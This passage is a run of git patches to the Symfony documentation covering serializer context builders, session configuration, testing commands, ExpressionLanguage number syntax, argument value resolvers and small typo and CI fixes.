 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e330ec19419..6e51f7ad404 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -468,7 +468,7 @@ Be sure that this URL is covered by your main firewall (i.e. don't create
 a separate firewall just for ``check_path`` URL).
 
 failure_path
-..........
+............
 
 **type**: ``string`` **default**: ``/login``
 

From 4083d2c4c3bdad59296f3bf380597e17e58d012b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 12:12:17 +0100
Subject: [PATCH 1720/5766] Added the versionadded directive

---
 service_container/expression_language.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 09443b05c08..23d2415b190 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -82,6 +82,10 @@ In this context, you have access to 3 functions:
 ``env``
     Returns the value of an env variable.
 
+.. versionadded:: 6.1
+
+    The ``env()`` function was introduced in Symfony 6.1.
+
 You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container`
 via a ``container`` variable. Here's another example:
 

From dab392b1ffb8ac7a2bfa5932ee1af67c990a3b8e Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sat, 12 Feb 2022 15:17:50 +0100
Subject: [PATCH 1721/5766] [Form] Update choice_loader.rst.inc

---
 reference/forms/types/options/choice_loader.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index c44601ed3eb..9ab1fa2c4bb 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -42,9 +42,9 @@ better performance::
 
     class ConstantsType extends AbstractType
     {
-        public static function getExtendedTypes(): iterable
+        public function getParent(): string
         {
-            return [ChoiceType::class];
+            return ChoiceType::class;
         }
 
         public function configureOptions(OptionsResolver $resolver)

From 7be3c936747f67a318e6049019a00bb5c6581494 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Sun, 6 Mar 2022 14:36:27 +0100
Subject: [PATCH 1722/5766] [Serializer] Add context builders documentation

---
 components/serializer.rst              | 35 +++++++++++
 serializer.rst                         | 55 ++++++++++++++--
 serializer/custom_context_builders.rst | 86 ++++++++++++++++++++++++++
 3 files changed, 171 insertions(+), 5 deletions(-)
 create mode 100644 serializer/custom_context_builders.rst

diff --git a/components/serializer.rst b/components/serializer.rst
index fc0d32c2531..6adf5db65de 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1202,6 +1202,41 @@ Option          Description                                               Defaul
                 to customize the encoding / decoding YAML string
 =============== ========================================================  ==========================
 
+.. _component-serializer-context-builders:
+
+Context Builders
+----------------
+
+Context builders are objects that help creating the :ref:`serialization context <serializer-context>`.
+
+You can easily use context builders by instantiating them::
+
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
+
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder->toArray())
+        ->withDelimiter(';');
+
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+
+.. note::
+
+    The Serializer component provides a context builder
+    for each :ref:`normalizer <component-serializer-normalizers>`
+    and :ref:`encoder <component-serializer-encoders>`.
+
+    You can also create custom context builders to deal with your
+    context values. Read more at :doc:`/serializer/custom_context_builders`.
+
 Skipping ``null`` Values
 ------------------------
 
diff --git a/serializer.rst b/serializer.rst
index ef4a8e483df..c9f42cd2751 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -89,6 +89,8 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
+.. _serializer-context:
+
 Serializer Context
 ------------------
 
@@ -149,6 +151,46 @@ configuration:
             ;
         };
 
+.. _serializer-using-context-builders:
+
+Using Context Builders
+----------------------
+
+To define a proper (de)serialization context, you can leverage context builders.
+Those are objects that help you to create that context by providing
+auto-completion, validation, and documentation::
+
+    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
+
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
+
+    $serializer->serialize($something, 'json', $contextBuilder->toArray());
+
+Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
+To create a full (de)serialization context, you will be able to chain them using the
+``withContext`` method. As the ``withContext`` method takes an array as an argument, it is
+also possible to pass custom values to that context::
+
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
+
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder->toArray())
+        ->withDelimiter(';');
+
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+
+If you want auto-completion, validation, and documentation for your custom context values,
+you can :doc:`create your context builders </serializer/custom_context_builders>`.
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations
@@ -197,11 +239,13 @@ to your class::
 
 You can now choose which groups to use when serializing::
 
-    $json = $serializer->serialize(
-        $product,
-        'json',
-        ['groups' => 'show_product']
-    );
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+
+    $context = (new ObjectNormalizerContextBuilder())
+        ->withGroups('show_product')
+        ->toArray();
+
+    $json = $serializer->serialize($product, 'json', $context);
 
 .. tip::
 
@@ -293,6 +337,7 @@ take a look at how this bundle works.
 
     serializer/custom_encoders
     serializer/custom_normalizer
+    serializer/custom_context_builders
 
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
new file mode 100644
index 00000000000..2bf31680968
--- /dev/null
+++ b/serializer/custom_context_builders.rst
@@ -0,0 +1,86 @@
+.. index::
+   single: Serializer; Custom context builders
+
+How to Create your Custom Context Builder
+=========================================
+
+The :doc:`Serializer Component </components/serializer>` uses Normalizers
+and Encoders to transform any data to any data-structure (e.g. JSON).
+That serialization process could be configured thanks to a
+:ref:`serialization context <serializer-context>`, which can be built thanks to
+:ref:`context builders <component-serializer-context-builders>`.
+
+Each built-in normalizer/encoder has its related context builder.
+But, as an example, you may want to use custom context values
+for your :doc:`custom normalizers </serializer/custom_normalizer>`
+and create a custom context builder related to them.
+
+Creating a new context builder
+------------------------------
+
+Let's imagine that you want to handle date denormalization differently if they
+are coming from a legacy system, by converting them to ``null`` if the serialized
+value is ``0000-00-00``. To do that you'll first have to create your normalizer::
+
+    // src/Serializer/ZeroDateTimeDenormalizer.php
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\Normalizer\DenormalizerAwareInterface;
+    use Symfony\Component\Serializer\Normalizer\DenormalizerAwareTrait;
+    use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+
+    final class ZeroDateTimeDenormalizer implements DenormalizerInterface, DenormalizerAwareInterface
+    {
+        use DenormalizerAwareTrait;
+
+        public function denormalize($data, string $type, string $format = null, array $context = [])
+        {
+            if ('0000-00-00' === $data) {
+                return null;
+            }
+
+            unset($context['zero_datetime_to_null']);
+
+            return $this->denormalizer->denormalize($data, $type, $format, $context);
+        }
+
+        public function supportsDenormalization($data, string $type, string $format = null, array $context = [])
+        {
+            return true === ($context['zero_datetime_to_null'] ?? false)
+                && is_a($type, \DateTimeInterface::class, true);
+        }
+    }
+
+You'll therefore be able to cast zero-ish dates to ``null`` during denormalization::
+
+    $legacyData = '{"updatedAt": "0000-00-00"}';
+
+    $serializer->deserialize($legacyData, MyModel::class, 'json', ['zero_datetime_to_null' => true]);
+
+Then, if you don't want other developers to have to remind the precise ``zero_date_to_null`` context key,
+you can create a dedicated context builder::
+
+    // src/Serializer/LegacyContextBuilder
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\Context\ContextBuilderTrait;
+
+    final class LegacyContextBuilder
+    {
+        use ContextBuilderTrait;
+
+        public function withLegacyDates(bool $legacy): static
+        {
+            return $this->with('zero_datetime_to_null', $legacy);
+        }
+    }
+
+And finally use it to build the serialization context::
+
+    $legacyData = '{"updatedAt": "0000-00-00"}';
+
+    $context = (new LegacyContextBuilder())
+        ->withLegacyDates(true)
+        ->toArray();
+
+    $serializer->deserialize($legacyData, MyModel::class, 'json', $context);

From 54575d07b14c6ef7e7a2936d86a4ed2820b3dc53 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sat, 5 Feb 2022 10:51:21 +0330
Subject: [PATCH 1723/5766] [Session] Update session.rst v4.4

---
 session.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/session.rst b/session.rst
index 6465cdb3b54..57072dbdb37 100644
--- a/session.rst
+++ b/session.rst
@@ -17,15 +17,15 @@ sessions, check their default configuration:
 
         # config/packages/framework.yaml
         framework:
+            # Enables session support. Note that the session will ONLY be started if you read or write from it.
+            # Remove or comment this section to explicitly disable session support.
             session:
-                # enables the support of sessions in the app
-                enabled: true
-                # ID of the service used for session storage.
+                # ID of the service used for session storage
                 # NULL means that Symfony uses PHP default session mechanism
                 handler_id: null
                 # improves the security of the cookies used for sessions
-                cookie_secure: 'auto'
-                cookie_samesite: 'lax'
+                cookie_secure: auto
+                cookie_samesite: lax
 
     .. code-block:: xml
 
@@ -40,13 +40,13 @@ sessions, check their default configuration:
 
             <framework:config>
                 <!--
-                    enabled: enables the support of sessions in the app
+                    Enables session support. Note that the session will ONLY be started if you read or write from it.
+                    Remove or comment this section to explicitly disable session support.
                     handler-id: ID of the service used for session storage
                                 NULL means that Symfony uses PHP default session mechanism
                     cookie-secure and cookie-samesite: improves the security of the cookies used for sessions
                 -->
-                <framework:session enabled="true"
-                                   handler-id="null"
+                <framework:session handler-id="null"
                                    cookie-secure="auto"
                                    cookie-samesite="lax"/>
             </framework:config>
@@ -56,9 +56,9 @@ sessions, check their default configuration:
 
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
+            // Enables session support. Note that the session will ONLY be started if you read or write from it.
+            // Remove or comment this section to explicitly disable session support.
             'session' => [
-                // enables the support of sessions in the app
-                'enabled' => true,
                 // ID of the service used for session storage
                 // NULL means that Symfony uses PHP default session mechanism
                 'handler_id' => null,

From 48124cf2f4d92220f8cf10c040c9209b6f8086fc Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Sat, 5 Feb 2022 11:00:34 +0330
Subject: [PATCH 1724/5766] Update session.rst v5.4/6

---
 session.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 1bea562164c..0331b964cfd 100644
--- a/session.rst
+++ b/session.rst
@@ -26,6 +26,7 @@ sessions, check their default configuration:
                 # improves the security of the cookies used for sessions
                 cookie_secure: auto
                 cookie_samesite: lax
+                storage_factory_id: session.storage.factory.native
 
     .. code-block:: xml
 
@@ -48,7 +49,8 @@ sessions, check their default configuration:
                 -->
                 <framework:session handler-id="null"
                                    cookie-secure="auto"
-                                   cookie-samesite="lax"/>
+                                   cookie-samesite="lax"
+                                   storage_factory_id="session.storage.factory.native"/>
             </framework:config>
         </container>
 
@@ -68,6 +70,7 @@ sessions, check their default configuration:
                 // improves the security of the cookies used for sessions
                 ->cookieSecure('auto')
                 ->cookieSamesite('lax')
+                ->storage_factory_id('session.storage.factory.native')
             ;
         };
 

From 30e02a99fb5e36da8c29b68bdbcf0376db860b3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 16:41:03 +0100
Subject: [PATCH 1725/5766] Removed redundancy in package requirements

---
 testing.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 44cd42f964d..c978c7a1ace 100644
--- a/testing.rst
+++ b/testing.rst
@@ -15,13 +15,12 @@ Symfony integrates with an independent library called `PHPUnit`_ to give
 you a rich testing framework. This article won't cover PHPUnit itself,
 which has its own excellent `documentation`_.
 
-Before creating your first test, install ``phpunit/phpunit`` and the
-``symfony/test-pack``, which installs some other packages providing useful
-Symfony test utilities:
+Before creating your first test, install ``symfony/test-pack``, which installs
+some other packages needed for testing (such as ``phpunit/phpunit``):
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit symfony/test-pack
+    $ composer require --dev symfony/test-pack
 
 After the library is installed, try running PHPUnit:
 

From b9862d0c2c80fd44c245530bbcd33e29c216025a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 17:15:18 +0100
Subject: [PATCH 1726/5766] Fix Symfony installation commands for 6.1 version

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 12adcb7fcc8..2c5e16fed95 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version=6.1 --webapp
+    $ symfony new my_project_directory --version=next --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version=6.1
+    $ symfony new my_project_directory --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you

From 77d46f32d3f8731fc5981bb440a7b9f3576b2038 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Mar 2022 17:48:56 +0100
Subject: [PATCH 1727/5766] [ExpressionLanguage] Add support for new number
 syntax

---
 components/expression_language/syntax.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index a4c17f81a27..4d1f474008d 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -14,13 +14,21 @@ Supported Literals
 The component supports:
 
 * **strings** - single and double quotes (e.g. ``'hello'``)
-* **numbers** - e.g. ``103``
+* **numbers** - integers (e.g. ``103``), decimals (e.g. ``9.95``), decimals
+  without leading zeros (e.g. ``.99``, equivalent to ``0.99``); all numbers
+  support optional underscores as separators to improve readability (e.g.
+  ``1_000_000``, ``3.14159_26535``)
 * **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
 * **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
 * **booleans** - ``true`` and ``false``
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
+.. versionadded:: 6.1
+
+    Support for decimals without leading zeros and underscore separators were
+    introduced in Symfony 6.1.
+
 .. caution::
 
     A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string

From 0b1f3021bd2f6faebdc1664317612aa2dbad06ca Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 12 Mar 2022 15:01:33 +0100
Subject: [PATCH 1728/5766] Typo

---
 reference/constraints/All.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index cfcf75343fd..70a8b9e4fe4 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -43,7 +43,7 @@ entry in that array:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
+        // IMPORTANT: nested attributes require PHP 8.1 or higher
         class User
         {
             #[Assert\All([

From eb2ce88c6d6a09ec4d541b16f6d2c80af1e4e898 Mon Sep 17 00:00:00 2001
From: Ahmed Bouras <48674780+ahmedbrs@users.noreply.github.com>
Date: Sun, 13 Mar 2022 16:04:04 +0100
Subject: [PATCH 1729/5766] Update service_container.rst

Hi ! If I'm not mistaking, we should extending the AbstractController to add a service in a controller.
---
 service_container.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index ff1758b1bb3..3dea1fe9825 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -32,10 +32,11 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
     namespace App\Controller;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
-    class ProductController
+    class ProductController extends AbstractController
     {
         /**
          * @Route("/products")

From ac8a98871e85a01f321b40294e0f4786d0dba285 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Feb 2022 17:15:07 +0100
Subject: [PATCH 1730/5766] minor #16506 [Form] Update
 create_form_type_extension.rst (issamkhadiri1989)

This PR was submitted for the 6.0 branch but it was merged into the 5.4 branch instead.

Discussion
----------

[Form] Update create_form_type_extension.rst

Hello,
I think the condition `image_url is not null` is not enough as if we create a FileType form field without the `image_property` it causes an error. Adding `image_url is defined` is necessary  because the variable `image_url` is only defined and passed to the view when `image_property` is already defined.

<!--

If your pull request fixes a BUG, use the oldest maintained branch that contains
the bug (see https://symfony.com/releases for the list of maintained branches).

If your pull request documents a NEW FEATURE, use the same Symfony branch where
the feature was introduced (and `6.x` for features of unreleased versions).

-->

Commits
-------

85470c59f Update create_form_type_extension.rst
---
 form/create_form_type_extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 9bb0abc2d8e..9e0066d7be8 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -192,7 +192,7 @@ Specifically, you need to override the ``file_widget`` block:
 
     {% block file_widget %}
         {{ block('form_widget') }}
-        {% if image_url is not null %}
+        {% if image_url is defined and image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
     {% endblock %}

From 3a9f28a3b9a57fb6dd370ce68da337bc43d89c86 Mon Sep 17 00:00:00 2001
From: Maciej Kosiarski <maciek.kosiarski@gmail.com>
Date: Sun, 13 Mar 2022 19:15:42 +0100
Subject: [PATCH 1731/5766] Add quotations marks

Add quotations marks in generates getter/setter methods for one specific Entity example, current example command return "[ERROR] No entities were found in the "AppEntityAdwordsCountry" namespace."
---
 doctrine/reverse_engineering.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 74d56159ac3..ddce4050a82 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -103,7 +103,7 @@ run:
     $ php bin/console make:entity --regenerate App
 
     // generates getter/setter methods for one specific Entity
-    $ php bin/console make:entity --regenerate App\Entity\Country
+    $ php bin/console make:entity --regenerate "App\Entity\Country"
 
 .. note::
 

From 0d166d7093d487080c41e59cc35297331a2a2e05 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Wed, 16 Mar 2022 14:49:37 +0100
Subject: [PATCH 1732/5766] [Security] Fix wrong anchor

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 16442d23b58..d29f1480f78 100644
--- a/security.rst
+++ b/security.rst
@@ -28,7 +28,7 @@ creates a ``security.yaml`` configuration file for you:
     # config/packages/security.yaml
     security:
         enable_authenticator_manager: true
-        # https://symfony.com/doc/current/security.html#c-hashing-passwords
+        # https://symfony.com/doc/current/security.html#registering-the-user-hashing-passwords
         password_hashers:
             Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
         # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers

From 052071e8331ffae8bae7ae649f244a6cf8cd6082 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 17:46:40 +0100
Subject: [PATCH 1733/5766] Reference the internal ErrorDetailsStamp

Close https://github.com/symfony/symfony-docs/issues/14319
---
 components/messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/messenger.rst b/components/messenger.rst
index 2e853f69ab6..99946b72b7e 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,6 +162,8 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
    to configure the serialization groups used by the transport.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
    to configure the validation groups used when the validation middleware is enabled.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
+   an internal stamp when a messages fails due to an exception in the handler.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From c22dc202295691bbdf2168af3ddaab8a26258935 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Wed, 16 Mar 2022 18:03:42 +0100
Subject: [PATCH 1734/5766] Documentation for env() function in route condition

---
 routing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/routing.rst b/routing.rst
index 9f7a1fca581..74e3a7fee02 100644
--- a/routing.rst
+++ b/routing.rst
@@ -414,6 +414,11 @@ and can use any of these variables created by Symfony:
     The :ref:`Symfony Request <component-http-foundation-request>` object that
     represents the current request.
 
+Additionnal functions are provided:
+
+``env(string $name)``
+    Read a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
+
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.

From 28d6b6b3f98fd2285fd65c444b3557ea02030d88 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 19:00:25 +0100
Subject: [PATCH 1735/5766] [Dotenv] Document internal dump-env command

Close https://github.com/symfony/symfony-docs/issues/15878
---
 deployment.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/deployment.rst b/deployment.rst
index 369256bf316..e3bbea2a2a8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -166,6 +166,21 @@ most natural in your hosting environment.
 
         $ composer dump-env prod --empty
 
+    Sometimes ``composer`` may not be installed on your hosting environment. Thus you
+    have to install and package Composer related code logic way before deploying.
+    Another way to generate this optimized file is to manually register the built in
+    command `Symfony\\Component\\Dotenv\\Command\\DotenvDumpCommand`
+    and use it:
+
+    .. code-block:: yaml
+
+    services:
+        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+
+    .. code-block:: terminal
+
+        $ APP_ENV=prod APP_DEBUG=0 php bin/console dotenv:dump
+
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 9cb56a29c1100f528d362ae8d02369abd3f58b7d Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 17 Mar 2022 10:11:09 +0100
Subject: [PATCH 1736/5766] Add hint how to debug argument resolver order

---
 controller/argument_value_resolver.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5d5abc7ed62..bc023101fce 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -242,6 +242,13 @@ Otherwise, set a priority lower than ``100`` to make sure the argument resolver
 is not triggered when the ``Request`` attribute is present (for example, when
 passing the user along sub-requests).
 
+To ensure your resolvers are added in the right position you can run the following
+command to see which argument resolvers are present and in which order they run.
+
+.. code-block:: terminal
+    
+    $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
+
 .. tip::
 
     As you can see in the ``UserValueResolver::supports()`` method, the user

From a8c4ec341ab87239f07325cc0936635fbeab920d Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 17 Mar 2022 10:20:36 +0100
Subject: [PATCH 1737/5766] Add hint about #[CurrentUser] to the
 argument_value_resolver page

---
 controller/argument_value_resolver.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5d5abc7ed62..0c96f1a3663 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -49,9 +49,10 @@ In addition, some components and official bundles provide other value resolvers:
 
 :class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver`
     Injects the object that represents the current logged in user if type-hinted
-    with ``UserInterface``. Default value can be set to ``null`` in case
-    the controller can be accessed by anonymous users. It requires installing
-    the :doc:`SecurityBundle </security>`.
+    with ``UserInterface``. You can also type-hint your own ``User`` class but you
+    must then add the ``#[CurrentUser]`` attribute to the argument. Default value
+    can be set to ``null`` in case  the controller can be accessed by anonymous
+    users. It requires installing the :doc:`SecurityBundle </security>`.
 
 Adding a Custom Value Resolver
 ------------------------------

From d6af72bb72e5ebd44d2844ca8c31558410bab1c4 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 17 Mar 2022 10:25:38 +0100
Subject: [PATCH 1738/5766] Add note about AccessDeniedException being thrown

Fixes #16614
---
 controller/argument_value_resolver.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5f69b164696..49f45ad4751 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -88,6 +88,10 @@ In addition, some components and official bundles provide other value resolvers:
     with ``UserInterface``. Default value can be set to ``null`` in case
     the controller can be accessed by anonymous users. It requires installing
     the :doc:`SecurityBundle </security>`.
+    
+    If the argument is not nullable and there is no logged in user or the logged in
+    user has a user class not matching the type-hinted class, an ``AccessDeniedException``
+    is thrown by the resolver to prevent access to the controller.
 
 Adding a Custom Value Resolver
 ------------------------------

From 5e4d3b1b24b57c12a8d1f91e498d9e2116ab2ddf Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 18 Mar 2022 09:34:32 +0100
Subject: [PATCH 1739/5766] use the PHPUnit bridge to run tests

---
 testing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index 14024c8bc87..031f8d17948 100644
--- a/testing.rst
+++ b/testing.rst
@@ -27,7 +27,7 @@ After the library is installed, try running PHPUnit:
 
 .. code-block:: terminal
 
-    $ php ./vendor/bin/phpunit
+    $ php bin/phpunit
 
 This command automatically runs your application tests. Each test is a
 PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
@@ -83,18 +83,18 @@ of your application for unit tests. So, if you're testing a class in the
 Autoloading is automatically enabled via the ``vendor/autoload.php`` file
 (as configured by default in the ``phpunit.xml.dist`` file).
 
-You can run tests using the ``./vendor/bin/phpunit`` command:
+You can run tests using the ``bin/phpunit`` command:
 
 .. code-block:: terminal
 
     # run all tests of the application
-    $ php ./vendor/bin/phpunit
+    $ php bin/phpunit
 
     # run all tests in the Form/ directory
-    $ php ./vendor/bin/phpunit tests/Form
+    $ php bin/phpunit tests/Form
 
     # run tests for the UserType class
-    $ php ./vendor/bin/phpunit tests/Form/UserTypeTest.php
+    $ php bin/phpunit tests/Form/UserTypeTest.php
 
 .. tip::
 

From a9171b66203b121932b39e703aff3967bd8029d2 Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Fri, 18 Mar 2022 10:39:34 +0100
Subject: [PATCH 1740/5766] Update CI to php 8.1

---
 .github/workflows/ci.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6750bd8eb20..33d174e3b8d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -23,7 +23,7 @@ jobs:
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
                 with:
-                    php-version: 8.0
+                    php-version: 8.1
                     coverage: none
                     tools: "composer:v2"
 
@@ -91,7 +91,7 @@ jobs:
           - name: Set-up PHP
             uses: shivammathur/setup-php@v2
             with:
-                php-version: 8.0
+                php-version: 8.1
                 coverage: none
 
           - name: Fetch branch from where the PR started

From c8d9c56715443edcfa06106a1d1849416af7957a Mon Sep 17 00:00:00 2001
From: Jeroen <1517978+Jeroeny@users.noreply.github.com>
Date: Fri, 18 Mar 2022 11:13:18 +0100
Subject: [PATCH 1741/5766] Reference latest feature branch

---
 contributing/code/pull_requests.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 22c144423c8..d56c95ee9cf 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
